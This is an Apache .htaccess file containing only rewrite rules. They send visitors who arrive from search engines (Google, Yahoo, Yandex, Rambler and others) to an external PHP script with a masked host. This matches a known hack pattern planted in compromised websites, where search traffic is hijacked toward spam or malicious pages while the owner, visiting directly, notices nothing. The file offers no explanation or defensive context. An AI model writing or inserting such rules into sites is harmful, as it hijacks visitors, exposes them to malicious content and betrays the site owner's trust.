RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .*
http://xxx.xxx/x/xxx.php?sid=3 [R,L]